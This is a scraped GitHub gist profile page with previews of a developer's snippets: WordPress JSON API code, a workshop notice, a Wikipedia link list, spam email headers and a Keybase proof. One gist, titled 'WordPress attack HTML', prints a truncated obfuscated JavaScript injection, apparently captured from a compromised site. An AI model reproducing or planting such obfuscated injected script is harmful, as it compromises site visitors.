Skip to content

Instantly share code, notes, and snippets.

View dphiffer's full-sized avatar

Dan Phiffer dphiffer

View GitHub Profile
{"status":"ok","post":{"id":19400,"type":"post","slug":"a-few-more-ways-of-looking-at-a-haring","url":"http:\/\/moma.org\/wp\/inside_out\/2012\/02\/16\/a-few-more-ways-of-looking-at-a-haring\/","status":"publish","title":"A Few More Ways of Looking at a Keith Haring","title_plain":"A Few More Ways of Looking at a Keith Haring","content":"<div id=\"attachment_19403\" class=\"wp-caption alignnone\" style=\"width: 624px\"><a href=\"http:\/\/moma.org\/wp\/inside_out\/wp-content\/uploads\/2012\/02\/495_1992_a-b_vw3_RICR.jpg\"><img class=\"size-large wp-image-19403 \" title=\"Untitled\" src=\"http:\/\/moma.org\/wp\/inside_out\/wp-content\/uploads\/2012\/02\/495_1992_a-b_vw3_RICR-1024x682.jpg\" alt=\"\" width=\"614\" height=\"409\" \/><\/a><p class=\"wp-caption-text\">Keith Haring. <em>Untitled.<\/em> 1982. Ink on two sheets of paper, sheet: 72 x 671 1\/2&quot; (182.9 x 1705.6 cm). The Museum of Modern Art, New York. Gift of the Estate of Keith Haring, Inc. \u00a9 2012 The Keith Haring Foundation<\/p><\/div>\n<p>The
@dphiffer
dphiffer / index.html
Created June 22, 2012 14:25
WordPress attack HTML
<script type='text/javascript'>st="en0no3mno3nipno3rxinfopno3rxms";Date&&(a=["a#%d]%b@%e_%c)%1<%5*%4+%9:%3^%2","%7!%0|%f~%8?%6&"]);var b=[],c="&!^<^]$$&)&~&_&)!:$$^@$|&:&&$?$]^<^]^]&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*$_&:&_&+&*!?+~&&$?&!^<$:$:!@!?^+^]^!^$+*^&^@!&&<!$$|&^^]&_&*!!$|++&<!+&*^@&^$_!^&*!+*+&:&]&*$?&^$_&!&*!+*+&:&]&*$?$:$:^@&*&+^]&_&*!!$|++&<!+&*$?&^$_&!&*!+*+&:&]&*$?$:$@!?^+$:^@&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*^]&!^<$@$$^]$$$@&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$:$@$$^@&*!?!|&:!$&*!^^]$$$@&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$@$$^@!|&<!+&?^]$~$$^@&!^^^]$$&?!+!+!|^#$~$~$$$@!^!+$_!$&*!|&)&<&^&*$?$~&*&_^|$~&!$)$$&!$$$:$_!$&*!|&)&<&^&*$?$~&_&~^^$~&!$)$$&*$$$:$_!$&*!|&)&<&^&*$?$~!|&*!$!?$~&!$)$$$_$$$:$@$$$~!+&~!|^$$_&?!+&]&)$$^@!&&<!$$|&+^]$]^<$<^]&_&<!&&:&!&<!+&~!$$_!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$:$_&:&_&+&*!?+~&&$?$$&&&:!$&*&&&~!?$$$:$)&*^]$$^<$$$)&?^]&&!*&_&^!+&:&~&_$?$:!@!]^@&?$_!|!$&~!+&~!+!:!|&*^]!@&$^#&&!*&_&^!+&:&~&_$?$:!@!$&*!+!*!$&_$|&!^^!]$)&<^#&&!*&_&^!+&:&~&_$?$:!@!&&<!$$|&&^]&+&
@dphiffer
dphiffer / gist:5514172
Last active December 16, 2015 23:29
Occupy.here workshop on Sunday!

Wifi Hacking and the Slow, Offline Web

I just got done giving a workshop at the Ideas City festival, and I'll be doing a follow-up event this Sunday. You should come! It'll start down at the POPS space near Zuccotti Park, then migrate up to ITP for a short technical presentation.

Please RSVP to [email protected]

Sunday May 5, 11am
Meet at 60 Wall Street atrium
(An indoor privately owned public space)

@dphiffer
dphiffer / gist:5628511
Last active December 17, 2015 14:59
Post meta escaping
$str1 = '\\"';
update_post_meta($post->ID, "test", $str1);
$str2 = get_post_meta($post->ID, "test", true);
echo "$str1<br>$str2";
/*
Result:
<?php
/*
Controller name: Post controller
Controller description: A hacky way to get /api/posts/[id] to work
*/
class JSON_API_Post_Controller {
function error() {
global $json_api;
@dphiffer
dphiffer / gist:5979459
Created July 11, 2013 21:33
100 Wikipedia articles
http://en.wikipedia.org/wiki/Actor%E2%80%93network_theory
http://en.wikipedia.org/wiki/Adam_Curtis
http://en.wikipedia.org/wiki/Adrian_Carton_de_Wiart
http://en.wikipedia.org/wiki/All_Watched_Over_by_Machines_of_Loving_Grace_%28TV_series%29
http://en.wikipedia.org/wiki/Anthropocene
http://en.wikipedia.org/wiki/As_We_May_Think
http://en.wikipedia.org/wiki/Autonomous_sensory_meridian_response
http://en.wikipedia.org/wiki/Banana_equivalent_dose
http://en.wikipedia.org/wiki/Bertolt_Brecht
http://en.wikipedia.org/wiki/Black_Mountain_College
testing (public)
@dphiffer
dphiffer / functions_attachments.php
Created December 26, 2013 17:16
JSON API needs to be customized a bit to retrieve *all* the image attachments in a WordPress site.
// Add this snippet of code to functions.php if you want to retrieve all
// the attachments on a blog using the JSON API plugin.
// Use this API call: http://foo.com/?json=core.get_posts&post_type=attachment
add_action('json_api-core-get_posts', 'setup_attachments_filter');
function setup_attachments_filter() {
// Workaround for JSON API disallowing post_status arguments
global $json_api;
if ($json_api->query->post_type == 'attachment') {
@dphiffer
dphiffer / Hey.txt
Created February 10, 2014 17:09
An empty spam email
Return-Path: <[email protected]>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on spamd2.riseup.net
X-Spam-Level: *
X-Spam-Pyzor: Reported 0 times.
X-Spam-Status: No, score=1.5 required=8.0 tests=AC_HTML_NONSENSE_TAGS,
AM_TRUNCATED,BLANK_NICK_TO,CK_419SIZE,CK_NAIVER_NO_DNS,ENV_FROM_DIFF,
ENV_FROM_DIFF0,HTML_LINK_NR_TOP,HTML_MESSAGE,HTML_STYLE_EMPTY,
RCVD_IN_DNSWL_NONE,RCVD_IN_HOSTKARMA_NO,RP_MATCHES_RCVD,SRC_HTTP,TO_NOREAL,
T_REMOTE_IMAGE,URIBL_BLACK shortcircuit=no autolearn=disabled version=3.3.2
Delivered-To: [email protected]

Keybase proof

I hereby claim:

  • I am dphiffer on github.
  • I am dphiffer (https://keybase.io/dphiffer) on keybase.
  • I have a public key whose fingerprint is 8000 8870 ABFA 4B66 1B23 479E F689 6675 BA92 80C9

To claim this, I am signing this object: